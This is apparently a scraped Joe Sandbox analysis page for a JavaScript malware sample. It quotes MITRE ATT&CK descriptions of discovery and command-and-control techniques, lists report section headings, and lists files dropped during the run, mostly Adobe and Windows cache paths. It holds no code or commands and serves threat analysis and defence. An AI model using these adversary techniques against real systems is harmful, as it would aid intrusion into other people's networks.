Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 15315323282846423758.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5ef1bf66-eba8-4569-8808-c1a9d9f06282.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6780

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
15315323282846423758.js